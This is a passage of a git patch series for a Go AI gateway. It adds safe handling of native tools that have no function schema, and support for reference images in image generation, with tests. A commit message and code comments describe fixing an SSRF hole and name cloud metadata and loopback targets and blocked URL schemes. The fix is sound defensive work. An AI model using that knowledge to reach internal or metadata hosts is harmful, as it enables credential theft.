10, MaxTokens: 1000}, + BuildFilteredTools: func(state *RunState) ([]providers.ToolDefinition, error) { + return []providers.ToolDefinition{ + { + Type: "function", + Function: &providers.ToolFunctionSchema{ + Name: "read_file", + }, + }, + { + Type: "image_generation", + Function: nil, + }, + }, nil + }, + CallLLM: func(_ context.Context, _ *RunState, _ providers.ChatRequest) (*providers.ChatResponse, error) { + return &providers.ChatResponse{ + Content: "ok", + FinishReason: "stop", + }, nil + }, + } + stage := NewThinkStage(deps) + state := defaultState() + + err := stage.Execute(context.Background(), state) + if err != nil { + t.Fatalf("Execute() error: %v", err) + } + + if state.Tool.AllowedTools == nil { + t.Fatal("AllowedTools should not be nil") + } + if !state.Tool.AllowedTools["read_file"] { + t.Error("expected read_file in AllowedTools") + } + if state.Tool.AllowedTools[""] { + t.Error("AllowedTools should not contain empty key for native tools") + } + if len(state.Tool.AllowedTools) != 1 { + t.Errorf("AllowedTools len = %d, want 1", len(state.Tool.AllowedTools)) + } +} + diff --git a/internal/pipeline/think_stage.go b/internal/pipeline/think_stage.go index 7530ac5c..addefbb5 100644 --- a/internal/pipeline/think_stage.go +++ b/internal/pipeline/think_stage.go @@ -44,7 +44,9 @@ func (s *ThinkStage) Execute(ctx context.Context, state *RunState) error { } allowed := make(map[string]bool, len(toolDefs)) for _, td := range toolDefs { - allowed[td.Function.Name] = true + if td.Function != nil { + allowed[td.Function.Name] = true + } } state.Tool.AllowedTools = allowed } else { diff --git a/internal/providers/adapter_anthropic_test.go b/internal/providers/adapter_anthropic_test.go index 88d4769c..901b3d5f 100644 --- a/internal/providers/adapter_anthropic_test.go +++ b/internal/providers/adapter_anthropic_test.go @@ -324,3 +324,51 @@ func assertHeader(t *testing.T, h http.Header, key, want string) { t.Errorf("header %q = %q, want %q", key, got, want) } } + +func TestAnthropicAdapterToRequest_NativeToolIgnored(t *testing.T) { + adapter, _ := NewAnthropicAdapter(ProviderConfig{APIKey: "sk-test"}) + + req := ChatRequest{ + Messages: []Message{{Role: "user", Content: "Draw a cat and search"}}, + Tools: []ToolDefinition{ + { + Type: "function", + Function: &ToolFunctionSchema{ + Name: "web_search", + Description: "Search the web", + Parameters: map[string]any{"type": "object"}, + }, + }, + { + Type: "image_generation", + Function: nil, + }, + }, + } + + data, _, err := adapter.ToRequest(req) + if err != nil { + t.Fatal(err) + } + + var body map[string]any + if err := json.Unmarshal(data, &body); err != nil { + t.Fatal(err) + } + + tools, ok := body["tools"].([]any) + if !ok { + t.Fatal("expected tools array in request body") + } + + // Should only serialize function tool, ignoring native tool + if len(tools) != 1 { + t.Fatalf("expected 1 tool in Anthropic request, got %d", len(tools)) + } + + tool := tools[0].(map[string]any) + if tool["name"] != "web_search" { + t.Errorf("expected tool name 'web_search', got %v", tool["name"]) + } +} + diff --git a/internal/providers/anthropic_request.go b/internal/providers/anthropic_request.go index a27bfb0c..237ff301 100644 --- a/internal/providers/anthropic_request.go +++ b/internal/providers/anthropic_request.go @@ -195,6 +195,9 @@ func (p *AnthropicProvider) buildRequestBody(model string, req ChatRequest, stre if len(req.Tools) > 0 { var tools []map[string]any for _, t := range req.Tools { + if t.Type != "function" || t.Function == nil { + continue + } cleanedParams := CleanSchemaForProvider("anthropic", t.Function.Parameters) tool := map[string]any{ "name": t.Function.Name, diff --git a/internal/providers/codex_build.go b/internal/providers/codex_build.go index 802f3ecc..4d9d4304 100644 --- a/internal/providers/codex_build.go +++ b/internal/providers/codex_build.go @@ -122,7 +122,7 @@ func (p *CodexProvider) buildRequestBody(req ChatRequest, stream bool) map[strin "output_format": "png", "partial_images": 1, }) - } else { + } else if t.Function != nil { // Function tool path (default). Works with both value-type and pointer Function // fields — we only access t.Function when type is not "image_generation". tools = append(tools, map[string]any{ diff --git a/internal/providers/codex_test.go b/internal/providers/codex_test.go index b59a5ad9..415b2b92 100644 --- a/internal/providers/codex_test.go +++ b/internal/providers/codex_test.go @@ -1083,3 +1083,43 @@ func TestCodexProviderBuildRequestBodyWithImages(t *testing.T) { t.Errorf("content[1] type = %v, want input_text", content[1]["type"]) } } + +func TestCodexBuildRequestBody_NilFunction_HandlesGracefully(t *testing.T) { + p := NewCodexProvider("test", &staticTokenSource{token: "test"}, "", "gpt-4o") + + req := ChatRequest{ + Messages: []Message{{Role: "user", Content: "Draw and search"}}, + Tools: []ToolDefinition{ + { + Type: "some_unsupported_native_tool", + Function: nil, + }, + { + Type: "function", + Function: &ToolFunctionSchema{ + Name: "web_search", + Description: "Search the web", + Parameters: map[string]any{"type": "object"}, + }, + }, + }, + } + + body := p.buildRequestBody(req, false) + + tools, ok := body["tools"].([]map[string]any) + if !ok { + t.Fatalf("tools is not []map[string]any: %T", body["tools"]) + } + + // Should only serialize the function tool and ignore the native tool with nil Function + if len(tools) != 1 { + t.Fatalf("expected 1 tool in Codex request, got %d", len(tools)) + } + + tool := tools[0] + if tool["type"] != "function" || tool["name"] != "web_search" { + t.Errorf("expected function tool 'web_search', got: %v", tool) + } +} + From a5a853f461bb026a3fceeef7611e992737c071fe Mon Sep 17 00:00:00 2001 From: thotam <78630736+thotam@users.noreply.github.com> Date: Sun, 21 Jun 2026 18:27:51 +0700 Subject: [PATCH 020/252] feat(tools): image reference processing and native provider support (#1251) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(tools): implement image reference processing and native provider support - Support OpenAI image edits via both Multipart form-data and JSON payloads - Automatically append reference image descriptions to prompt under [Reference Image Roles] - Support downloading image URLs for Gemini native image generation - Deduplicate reference images to optimize API request size - Add unit tests for Codex, DashScope, MiniMax, BytePlus and local/remote path resolution * fix(tools): SSRF-guard reference-image URL downloads in create_image downloadImageBytes fetched caller-supplied ref_images[].url with a plain http.Client and unbounded io.ReadAll — no SSRF validation, redirect policy, or size cap, letting the gateway dial loopback/private/metadata hosts or read arbitrarily large responses. - Validate the URL via security.Validate and pin the resolved IP, then download through security.NewSafeClient (pinned dial, no redirects). - Cap the response with a bounded read (refImageMaxBytes, 20 MB). - Reject non-HTTP(S) reference URLs up front (file://, data:, gopher://) so provider-forwarded URLs stay HTTP(S)-only; document the trust boundary between gateway-side fetch and provider-forwarded URLs. - Add regression tests: blocked loopback/private/metadata, unfollowed redirect, oversized response, and non-http(s) scheme rejection. --- internal/providers/codex_native_image.go | 49 +- internal/providers/codex_native_image_test.go | 137 ++++ internal/providers/native_image.go | 12 + internal/tools/create_image.go | 590 +++++++++++++++++- internal/tools/create_image_byteplus.go | 20 + internal/tools/create_image_dashscope.go | 46 +- internal/tools/create_image_minimax.go | 26 + .../tools/create_image_native_path_test.go | 489 ++++++++++++++- internal/tools/create_image_ssrf_test.go | 130 ++++ 9 files changed, 1465 insertions(+), 34 deletions(-) create mode 100644 internal/tools/create_image_ssrf_test.go diff --git a/internal/providers/codex_native_image.go b/internal/providers/codex_native_image.go index f978729e..4ac0b0c7 100644 --- a/internal/providers/codex_native_image.go +++ b/internal/providers/codex_native_image.go @@ -57,6 +57,39 @@ func (p *CodexProvider) GenerateImage(ctx context.Context, req NativeImageReques // so stream is always true. Final assembly happens in parseNativeImageSSE which scans the // event stream for response.output_item.done (image item) or response.completed output walk. func (p *CodexProvider) buildNativeImageRequestBody(model string, req NativeImageRequest) map[string]any { + tool := map[string]any{ + "type": "image_generation", + "action": "generate", + "model": req.ImageModel, + "output_format": req.OutputFormat, + "size": SizeFromAspect(req.AspectRatio), + } + + contentParts := []map[string]any{} + + for _, img := range req.RefImages { + if img.Base64 != "" { + refMime := img.MimeType + if refMime == "" { + refMime = "image/png" + } + contentParts = append(contentParts, map[string]any{ + "type": "input_image", + "image_url": fmt.Sprintf("data:%s;base64,%s", refMime, img.Base64), + }) + } else if img.URL != "" { + contentParts = append(contentParts, map[string]any{ + "type": "input_image", + "image_url": img.URL, + }) + } + } + + contentParts = append(contentParts, map[string]any{ + "type": "input_text", + "text": req.Prompt, + }) + return map[string]any{ "model": model, "stream": true, @@ -64,21 +97,11 @@ func (p *CodexProvider) buildNativeImageRequestBody(model string, req NativeImag "instructions": "Generate an image matching the user's description using the image_generation tool. Return only the image; do not describe it in text.", "input": []any{ map[string]any{ - "role": "user", - "content": []map[string]any{ - {"type": "input_text", "text": req.Prompt}, - }, - }, - }, - "tools": []map[string]any{ - { - "type": "image_generation", - "action": "generate", - "model": req.ImageModel, - "output_format": req.OutputFormat, - "size": SizeFromAspect(req.AspectRatio), + "role": "user", + "content": contentParts, }, }, + "tools": []map[string]any{tool}, "tool_choice": map[string]any{ "type": "image_generation", }, diff --git a/internal/providers/codex_native_image_test.go b/internal/providers/codex_native_image_test.go index 82d8d040..cbb30c8b 100644 --- a/internal/providers/codex_native_image_test.go +++ b/internal/providers/codex_native_image_test.go @@ -344,3 +344,140 @@ func TestSizeFromAspect(t *testing.T) { } } } + +// TestCodexGenerateImage_WithReferenceImage verifies that passing a single RefImage +// embeds the image in the input content and does not populate input_reference in tools[0]. +func TestCodexGenerateImage_WithReferenceImage(t *testing.T) { + var captured []byte + server := mockImageServer(t, &captured) + defer server.Close() + + p := NewCodexProvider("codex-test", &staticTokenSource{token: "tok"}, server.URL, "gpt-image-2") + p.retryConfig.Attempts = 1 + + req := NativeImageRequest{ + Model: "gpt-image-2", + Prompt: "A red circle", + RefImages: []RefImage{ + { + URL: "https://example.com/ref.png", + }, + }, + AspectRatio: "1:1", + OutputFormat: "png", + } + + _, err := p.GenerateImage(context.Background(), req) + if err != nil { + t.Fatalf("GenerateImage returned error: %v", err) + } + + var body map[string]any + if err := json.Unmarshal(captured, &body); err != nil { + t.Fatalf("unmarshal captured body: %v", err) + } + + // 1. Verify input contains input_image and input_text in user content + inputs, ok := body["input"].([]any) + if !ok || len(inputs) != 1 { + t.Fatalf("body[input]: expected []any length 1, got %T len %d", body["input"], len(inputs)) + } + userMsg, ok := inputs[0].(map[string]any) + if !ok { + t.Fatalf("inputs[0] is not a map") + } + contents, ok := userMsg["content"].([]any) + if !ok || len(contents) != 2 { + t.Fatalf("content: expected []any length 2, got %T len %d", userMsg["content"], len(contents)) + } + + imgPart, ok := contents[0].(map[string]any) + if !ok { + t.Fatalf("contents[0] is not a map") + } + if imgPart["type"] != "input_image" || imgPart["image_url"] != "https://example.com/ref.png" { + t.Errorf("expected input_image with url, got: %v", imgPart) + } + + textPart, ok := contents[1].(map[string]any) + if !ok { + t.Fatalf("contents[1] is not a map") + } + if textPart["type"] != "input_text" || textPart["text"] != "A red circle" { + t.Errorf("expected input_text with prompt, got: %v", textPart) + } + + // 2. Verify tools[0] does not contain input_reference + tools, ok := body["tools"].([]any) + if !ok || len(tools) != 1 { + t.Fatalf("tools shape invalid") + } + tool, ok := tools[0].(map[string]any) + if !ok { + t.Fatalf("tools[0] not map") + } + if _, has := tool["input_reference"]; has { + t.Error("image_generation tool must not contain 'input_reference' field") + } +} + +// TestCodexGenerateImage_WithMultipleReferenceImages verifies that passing multiple RefImages +// embeds all of them in the input content in the correct order. +func TestCodexGenerateImage_WithMultipleReferenceImages(t *testing.T) { + var captured []byte + server := mockImageServer(t, &captured) + defer server.Close() + + p := NewCodexProvider("codex-test", &staticTokenSource{token: "tok"}, server.URL, "gpt-image-2") + p.retryConfig.Attempts = 1 + + req := NativeImageRequest{ + Model: "gpt-image-2", + Prompt: "A red circle", + RefImages: []RefImage{ + { + URL: "https://example.com/ref1.png", + }, + { + Base64: "b64data", + MimeType: "image/jpeg", + }, + }, + AspectRatio: "1:1", + OutputFormat: "png", + } + + _, err := p.GenerateImage(context.Background(), req) + if err != nil { + t.Fatalf("GenerateImage returned error: %v", err) + } + + var body map[string]any + if err := json.Unmarshal(captured, &body); err != nil { + t.Fatalf("unmarshal captured body: %v", err) + } + + inputs, _ := body["input"].([]any) + userMsg, _ := inputs[0].(map[string]any) + contents, _ := userMsg["content"].([]any) + + // Expected: 2 images + 1 text prompt = 3 content parts + if len(contents) != 3 { + t.Fatalf("content: expected []any length 3, got len %d", len(contents)) + } + + imgPart1, _ := contents[0].(map[string]any) + if imgPart1["type"] != "input_image" || imgPart1["image_url"] != "https://example.com/ref1.png" { + t.Errorf("expected first input_image with url, got: %v", imgPart1) + } + + imgPart2, _ := contents[1].(map[string]any) + if imgPart2["type"] != "input_image" || imgPart2["image_url"] != "data:image/jpeg;base64,b64data" { + t.Errorf("expected second input_image with base64 data url, got: %v", imgPart2) + } + + textPart, _ := contents[2].(map[string]any) + if textPart["type"] != "input_text" || textPart["text"] != "A red circle" { + t.Errorf("expected input_text with prompt, got: %v", textPart) + } +} diff --git a/internal/providers/native_image.go b/internal/providers/native_image.go index 1604c616..976ebf92 100644 --- a/internal/providers/native_image.go +++ b/internal/providers/native_image.go @@ -61,6 +61,18 @@ type NativeImageRequest struct { // OutputFormat is the desired image format: "png" (default), "jpg", "webp". OutputFormat string + + // RefImages contains the list of reference images. + RefImages []RefImage +} + +// RefImage represents a single reference image for image-to-image or styling tasks. +type RefImage struct { + Data []byte + Base64 string + MimeType string + URL string + Strength float64 } // NativeImageResult holds the result of a native image generation call. diff --git a/internal/tools/create_image.go b/internal/tools/create_image.go index 34ff9192..3e9cd5dd 100644 --- a/internal/tools/create_image.go +++ b/internal/tools/create_image.go @@ -8,6 +8,7 @@ import ( "fmt" "io" "log/slog" + "mime/multipart" "net/http" "os" "path/filepath" @@ -16,8 +17,17 @@ import ( "github.com/nextlevelbuilder/goclaw/internal/bus" "github.com/nextlevelbuilder/goclaw/internal/providers" + "github.com/nextlevelbuilder/goclaw/internal/security" ) +// Reference-image downloads are gateway-side fetches of caller-supplied URLs, so +// they must go through the SSRF guard with a bounded read. +const refImageDownloadTimeout = 30 * time.Second + +// refImageMaxBytes caps a single reference-image download. Declared as a var so +// tests can shrink it to exercise the overflow path cheaply. +var refImageMaxBytes int64 = 20 * 1024 * 1024 // 20 MB + // credentialProvider is a narrow interface for providers that expose API credentials. type credentialProvider interface { APIKey() string @@ -45,6 +55,145 @@ type CreateImageTool struct { func (t *CreateImageTool) SetVaultInterceptor(v *VaultInterceptor) { t.vaultIntc = v } +type referenceImage struct { + Data []byte + Base64 string + URL string + MimeType string + Strength float64 + Description string +} + +func (t *CreateImageTool) resolveReferenceImages(ctx context.Context, args map[string]any) ([]*referenceImage, error) { + var results []*referenceImage + + seenPaths := make(map[string]bool) + seenURLs := make(map[string]bool) + seenIDs := make(map[string]bool) + + resolveSingle := func(path, url, id string, strength float64, description string) (*referenceImage, error) { + if path != "" { + if seenPaths[path] { + return nil, nil + } + seenPaths[path] = true + + ext := strings.ToLower(filepath.Ext(path)) + mimeTypes := map[string]string{ + ".jpg": "image/jpeg", ".jpeg": "image/jpeg", + ".png": "image/png", ".gif": "image/gif", + ".webp": "image/webp", ".bmp": "image/bmp", + } + mime, ok := mimeTypes[ext] + if !ok { + mime = "image/png" + } + workspace := ToolWorkspaceFromCtx(ctx) + resolved, err := resolvePathWithAllowed(path, workspace, effectiveRestrict(ctx, true), allowedWithTeamWorkspace(ctx, nil)) + if err != nil { + return nil, fmt.Errorf("invalid reference image path: %w", err) + } + if err := checkDeniedPath(resolved, workspace, nil); err != nil { + return nil, err + } + data, err := os.ReadFile(resolved) + if err != nil { + return nil, fmt.Errorf("failed to read reference image file: %w", err) + } + return &referenceImage{ + Data: data, + Base64: base64.StdEncoding.EncodeToString(data), + MimeType: mime, + Strength: strength, + Description: description, + }, nil + } + + if url != "" { + // Trust boundary: a reference URL is either forwarded to the image + // provider (provider fetches it) or fetched gateway-side via + // downloadImageBytes (SSRF-guarded there). Either way it must be a + // plain HTTP(S) URL — reject file://, gopher://, data:, etc. up front. + if !isHTTPURL(url) { + return nil, fmt.Errorf("reference image url must be http(s): %q", url) + } + if seenURLs[url] { + return nil, nil + } + seenURLs[url] = true + + return &referenceImage{ + URL: url, + Strength: strength, + Description: description, + }, nil + } + + if id != "" { + if seenIDs[id] { + return nil, nil + } + seenIDs[id] = true + + images := MediaImagesFromCtx(ctx) + if len(images) == 0 { + return nil, fmt.Errorf("no images available in conversation context") + } + var img providers.ImageContent + if id == "latest" { + img = images[len(images)-1] + } else { + var idx int + if _, err := fmt.Sscanf(id, "%d", &idx); err == nil && idx >= 0 && idx < len(images) { + img = images[idx] + } else { + img = images[len(images)-1] + } + } + dataBytes, _ := base64.StdEncoding.DecodeString(img.Data) + return &referenceImage{ + Data: dataBytes, + Base64: img.Data, + MimeType: img.MimeType, + URL: img.URL, + Strength: strength, + Description: description, + }, nil + } + + return nil, nil + } + + // 1. Resolve complex ref_images array + if refImagesRaw, ok := args["ref_images"]; ok { + if refImagesList, ok := refImagesRaw.([]any); ok { + for _, itemRaw := range refImagesList { + if item, ok := itemRaw.(map[string]any); ok { + path, _ := item["path"].(string) + url, _ := item["url"].(string) + id, _ := item["id"].(string) + description, _ := item["description"].(string) + strength := 0.6 + if strRaw, has := item["strength"]; has { + if s, ok := strRaw.(float64); ok { + strength = s + } + } + refImg, err := resolveSingle(path, url, id, strength, description) + if err != nil { + return nil, err + } + if refImg != nil { + results = append(results, refImg) + } + } + } + } + } + + return results, nil +} + func NewCreateImageTool(registry *providers.Registry) *CreateImageTool { return &CreateImageTool{registry: registry} } @@ -71,6 +220,20 @@ func (t *CreateImageTool) Parameters() map[string]any { "type": "string", "description": "Short descriptive filename (no extension). Example: 'sunset-beach', 'company-logo'.", }, + "ref_images": map[string]any{ + "type": "array", + "description": "Optional array of reference images with custom properties.", + "items": map[string]any{ + "type": "object", + "properties": map[string]any{ + "path": map[string]any{"type": "string", "description": "Workspace file path to a reference image."}, + "url": map[string]any{"type": "string", "description": "HTTP/HTTPS URL of a reference image."}, + "id": map[string]any{"type": "string", "description": "Media ID of a reference image from the chat."}, + "strength": map[string]any{"type": "number", "description": "Reference strength (0.0 to 1.0) specific to this image."}, + "description": map[string]any{"type": "string", "description": "Description of the role or content of this reference image (e.g. 'Lâm', 'Quân')."}, + }, + }, + }, }, "required": []string{"prompt"}, } @@ -87,16 +250,24 @@ func (t *CreateImageTool) Execute(ctx context.Context, args map[string]any) *Res } filenameHint, _ := args["filename_hint"].(string) + refImgs, err := t.resolveReferenceImages(ctx, args) + if err != nil { + return ErrorResult(fmt.Sprintf("Failed to resolve reference images: %v", err)) + } + chain := ResolveMediaProviderChain(ctx, "create_image", "", "", imageGenProviderPriority, imageGenModelDefaults, t.registry) - // Inject prompt and aspect_ratio into each chain entry's params + // Inject prompt, aspect_ratio, and ref_images into each chain entry's params for i := range chain { if chain[i].Params == nil { chain[i].Params = make(map[string]any) } chain[i].Params["prompt"] = prompt chain[i].Params["aspect_ratio"] = aspectRatio + if len(refImgs) > 0 { + chain[i].Params["ref_images"] = refImgs + } } chainResult, err := ExecuteWithChain(ctx, chain, t.registry, t.callProvider) @@ -165,6 +336,11 @@ func embedPromptIntoPNG(data []byte, prompt string) []byte { // the native path is used and cp may be nil. The credentialProvider path is only reached // for API-key-backed providers. func (t *CreateImageTool) callProvider(ctx context.Context, cp credentialProvider, providerName, model string, params map[string]any) ([]byte, *providers.Usage, error) { + var refImgs []*referenceImage + if rawImgs, ok := params["ref_images"]; ok { + refImgs, _ = rawImgs.([]*referenceImage) + } + // Native path: provider implements the image_generation tool natively (e.g. Codex/OAuth). // The raw provider object is injected into params["_native_provider"] by ExecuteWithChain. // Must check before the cp==nil guard — these providers intentionally have no APIKey/APIBase. @@ -173,13 +349,28 @@ func (t *CreateImageTool) callProvider(ctx context.Context, cp credentialProvide prompt := GetParamString(params, "prompt", "") aspectRatio := GetParamString(params, "aspect_ratio", "1:1") imageModel := GetParamString(params, "image_model", "") - result, err := np.GenerateImage(ctx, providers.NativeImageRequest{ + + req := providers.NativeImageRequest{ Model: model, ImageModel: imageModel, Prompt: prompt, AspectRatio: aspectRatio, OutputFormat: "png", - }) + } + if len(refImgs) > 0 { + req.RefImages = make([]providers.RefImage, len(refImgs)) + for idx, r := range refImgs { + req.RefImages[idx] = providers.RefImage{ + Data: r.Data, + Base64: r.Base64, + MimeType: r.MimeType, + URL: r.URL, + Strength: r.Strength, + } + } + } + + result, err := np.GenerateImage(ctx, req) if err != nil { return nil, nil, fmt.Errorf("native image generation: %w", err) } @@ -196,7 +387,30 @@ func (t *CreateImageTool) callProvider(ctx context.Context, cp credentialProvide slog.Info("create_image: calling image generation API", "provider", providerName, "model", model, "aspect_ratio", aspectRatio) - switch GetParamString(params, "_provider_type", providerTypeFromName(providerName)) { + ptype := GetParamString(params, "_provider_type", providerTypeFromName(providerName)) + + // OpenAI image-to-image (Edits) + if len(refImgs) > 0 && (ptype == "openai" || providerName == "openai" || ptype == "openai_compat") { + isEditModel := model == "gpt-image-2" || + model == "gpt-image-1.5" || + model == "gpt-image-1" || + model == "gpt-image-1-mini" || + model == "chatgpt-image-latest" || + model == "dall-e-2" || + ptype == "openai_compat" + if isEditModel { + if model == "dall-e-2" { + if len(refImgs) > 1 { + slog.Warn("openai dall-e-2 only supports 1 reference image, using the first one", "count", len(refImgs)) + } + return t.callOpenAIImageEditMultipart(ctx, cp.APIKey(), cp.APIBase(), model, prompt, refImgs[:1]) + } + return t.callOpenAIImageEditJSON(ctx, cp.APIKey(), cp.APIBase(), model, prompt, refImgs) + } + slog.Warn("create_image: model does not support reference images, ignoring reference", "model", model, "provider", providerName) + } + + switch ptype { case "gemini": return t.callGeminiNativeImageGen(ctx, cp.APIKey(), cp.APIBase(), model, prompt, params) case "openrouter": @@ -215,11 +429,54 @@ func (t *CreateImageTool) callProvider(ctx context.Context, cp credentialProvide // callImageGenAPI calls the OpenAI-compatible chat completions endpoint with image modalities. // Works with OpenRouter (modalities: ["image","text"]). func (t *CreateImageTool) callImageGenAPI(ctx context.Context, apiKey, apiBase, model, prompt, aspectRatio string, params map[string]any) ([]byte, *providers.Usage, error) { - body := map[string]any{ - "model": model, - "messages": []map[string]any{ + var messages []map[string]any + if rawImgs, ok := params["ref_images"]; ok { + if refImgs, ok := rawImgs.([]*referenceImage); ok && len(refImgs) > 0 { + contentParts := []map[string]any{ + {"type": "text", "text": prompt}, + } + for _, refImg := range refImgs { + // Trust boundary: this JSON path forwards the reference URL to the + // image provider downstream (the provider fetches it), so the gateway + // does NOT dial it here — only HTTP(S) URLs reach this point. The + // gateway-side fetch path (OpenAI multipart) goes through + // downloadImageBytes, which is SSRF-guarded. Keep these distinct: if a + // provider URL ever becomes a gateway-side fetch, route it through + // downloadImageBytes. + var refURL string + if refImg.URL != "" { + refURL = refImg.URL + } else { + refMime := refImg.MimeType + if refMime == "" { + refMime = "image/png" + } + refURL = fmt.Sprintf("data:%s;base64,%s", refMime, refImg.Base64) + } + contentParts = append(contentParts, map[string]any{ + "type": "image_url", + "image_url": map[string]any{ + "url": refURL, + }, + }) + } + messages = []map[string]any{ + { + "role": "user", + "content": contentParts, + }, + } + } + } + if len(messages) == 0 { + messages = []map[string]any{ {"role": "user", "content": prompt}, - }, + } + } + + body := map[string]any{ + "model": model, + "messages": messages, "modalities": []string{"image", "text"}, } if aspectRatio != "" && aspectRatio != "1:1" { @@ -316,6 +573,286 @@ func (t *CreateImageTool) callStandardImageGenAPI(ctx context.Context, apiKey, a return imageBytes, nil, nil } +// isHTTPURL reports whether s is a plain http(s) URL. Reference URLs must be +// HTTP(S) only — this blocks file://, data:, gopher://, etc. before a URL is +// either forwarded to a provider or fetched gateway-side. +func isHTTPURL(s string) bool { + l := strings.ToLower(s) + return strings.HasPrefix(l, "http://") || strings.HasPrefix(l, "https://") +} + +// downloadImageBytes downloads a caller-supplied reference image URL server-side +// and returns its raw bytes and content type. The URL is attacker-controlled +// (agent/user-provided ref_images[].url), so it is validated against the SSRF +// guard and the resolved IP is pinned for the dial; the shared SafeClient also +// refuses redirects. The response body is read with a hard size cap. +func (t *CreateImageTool) downloadImageBytes(ctx context.Context, rawURL string) ([]byte, string, error) { + // SSRF guard: rejects loopback/private/link-local (incl. cloud metadata + // 169.254.169.254) and returns the resolved IP to pin for the dial. + _, pinnedIP, err := security.Validate(rawURL) + if err != nil { + return nil, "", fmt.Errorf("invalid reference image URL: %w", err) + } + reqCtx := security.WithPinnedIP(ctx, pinnedIP) + req, err := http.NewRequestWithContext(reqCtx, "GET", rawURL, nil) + if err != nil { + return nil, "", err + } + // SafeClient dials only the pinned IP and never follows redirects (a 3xx is + // returned as-is and rejected by the status check below). + client := security.NewSafeClient(refImageDownloadTimeout) + resp, err := client.Do(req) + if err != nil { + return nil, "", err + } + defer resp.Body.Close() + + if resp.StatusCode != http.StatusOK { + return nil, "", fmt.Errorf("HTTP error %d", resp.StatusCode) + } + // Bounded read: cap the download to avoid memory exhaustion from a hostile + // or oversized response. Read one extra byte to detect overflow. + data, err := io.ReadAll(io.LimitReader(resp.Body, refImageMaxBytes+1)) + if err != nil { + return nil, "", err + } + if int64(len(data)) > refImageMaxBytes { + return nil, "", fmt.Errorf("reference image exceeds maximum size of %d bytes", refImageMaxBytes) + } + return data, resp.Header.Get("Content-Type"), nil +} + +// callOpenAIImageEditMultipart calls the OpenAI /v1/images/edits API using multipart/form-data. +func (t *CreateImageTool) callOpenAIImageEditMultipart(ctx context.Context, apiKey, apiBase, model, prompt string, refImgs []*referenceImage) ([]byte, *providers.Usage, error) { + body := &bytes.Buffer{} + writer := multipart.NewWriter(body) + hasImages := false + + for idx, refImg := range refImgs { + var imageData []byte + var err error + + if len(refImg.Data) > 0 { + imageData = refImg.Data + } else if refImg.URL != "" { + slog.Info("openai multipart: downloading reference image from URL", "url", refImg.URL) + imageData, _, err = t.downloadImageBytes(ctx, refImg.URL) + if err != nil { + return nil, nil, fmt.Errorf("failed to download reference image %d: %w", idx, err) + } + } + + if len(imageData) == 0 { + continue + } + hasImages = true + + fieldName := "image" + if len(refImgs) > 1 { + fieldName = "images" + } + + filename := fmt.Sprintf("image_%d.png", idx) + if refImg.MimeType != "" { + parts := strings.Split(refImg.MimeType, "/") + if len(parts) == 2 { + ext := parts[1] + if ext == "jpeg" { + ext = "jpg" + } + filename = fmt.Sprintf("image_%d.%s", idx, ext) + } + } + + part, err := writer.CreateFormFile(fieldName, filename) + if err != nil { + return nil, nil, fmt.Errorf("create form file image %d: %w", idx, err) + } + if _, err := part.Write(imageData); err != nil { + return nil, nil, fmt.Errorf("write image %d to form: %w", idx, err) + } + } + + if !hasImages { + return nil, nil, fmt.Errorf("no reference image data available") + } + + // Build reference image descriptions if available + var descParts []string + for idx, refImg := range refImgs { + if refImg.Description != "" { + descParts = append(descParts, fmt.Sprintf("- image_%d.png: %s", idx+1, refImg.Description)) + } + } + finalPrompt := prompt + if len(descParts) > 0 { + finalPrompt = fmt.Sprintf("%s\n\n[Reference Image Roles]\n%s", prompt, strings.Join(descParts, "\n")) + slog.Info("openai multipart: appended image descriptions to prompt", "desc_count", len(descParts)) + } + + // Add other fields + if err := writer.WriteField("prompt", finalPrompt); err != nil { + return nil, nil, fmt.Errorf("write field prompt: %w", err) + } + if err := writer.WriteField("model", model); err != nil { + return nil, nil, fmt.Errorf("write field model: %w", err) + } + if err := writer.WriteField("response_format", "b64_json"); err != nil { + return nil, nil, fmt.Errorf("write field response_format: %w", err) + } + + if err := writer.Close(); err != nil { + return nil, nil, fmt.Errorf("close multipart writer: %w", err) + } + + url := strings.TrimRight(apiBase, "/") + "/images/edits" + req, err := http.NewRequestWithContext(ctx, "POST", url, body) + if err != nil { + return nil, nil, fmt.Errorf("create request: %w", err) + } + req.Header.Set("Content-Type", writer.FormDataContentType()) + req.Header.Set("Authorization", "Bearer "+apiKey) + + client := &http.Client{} + resp, err := client.Do(req) + if err != nil { + return nil, nil, fmt.Errorf("http request: %w", err) + } + defer resp.Body.Close() + + respBody, err := io.ReadAll(resp.Body) + if err != nil { + return nil, nil, fmt.Errorf("read response: %w", err) + } + if resp.StatusCode != http.StatusOK { + return nil, nil, fmt.Errorf("API error %d: %s", resp.StatusCode, truncateBytes(respBody, 500)) + } + + var imgResp struct { + Data []struct { + B64JSON string `json:"b64_json"` + } `json:"data"` + } + if err := json.Unmarshal(respBody, &imgResp); err != nil { + return nil, nil, fmt.Errorf("parse response: %w", err) + } + if len(imgResp.Data) == 0 || imgResp.Data[0].B64JSON == "" { + return nil, nil, fmt.Errorf("no image data in response") + } + + imageBytes, err := base64.StdEncoding.DecodeString(imgResp.Data[0].B64JSON) + if err != nil { + return nil, nil, fmt.Errorf("decode base64: %w", err) + } + + return imageBytes, nil, nil +} + +// callOpenAIImageEditJSON calls the OpenAI /v1/images/edits API using a JSON payload. +func (t *CreateImageTool) callOpenAIImageEditJSON(ctx context.Context, apiKey, apiBase, model, prompt string, refImgs []*referenceImage) ([]byte, *providers.Usage, error) { + type ImageRef struct { + ImageURL string `json:"image_url,omitempty"` + FileID string `json:"file_id,omitempty"` + } + + var images []ImageRef + + for _, refImg := range refImgs { + var refURL string + if refImg.URL != "" { + refURL = refImg.URL + } else { + // Convert local image data to Base64 Data URL + var imageData []byte + if len(refImg.Data) > 0 { + imageData = refImg.Data + } else { + // No data available + continue + } + + mime := refImg.MimeType + if mime == "" { + mime = "image/png" + } + refURL = fmt.Sprintf("data:%s;base64,%s", mime, base64.StdEncoding.EncodeToString(imageData)) + } + + images = append(images, ImageRef{ImageURL: refURL}) + } + + if len(images) == 0 { + return nil, nil, fmt.Errorf("no reference images available") + } + + // Build reference image descriptions if available + var descParts []string + for idx, refImg := range refImgs { + if refImg.Description != "" { + descParts = append(descParts, fmt.Sprintf("- image_%d.png: %s", idx+1, refImg.Description)) + } + } + finalPrompt := prompt + if len(descParts) > 0 { + finalPrompt = fmt.Sprintf("%s\n\n[Reference Image Roles]\n%s", prompt, strings.Join(descParts, "\n")) + slog.Info("openai json edits: appended image descriptions to prompt", "desc_count", len(descParts)) + } + + body := map[string]any{ + "model": model, + "prompt": finalPrompt, + "images": images, + 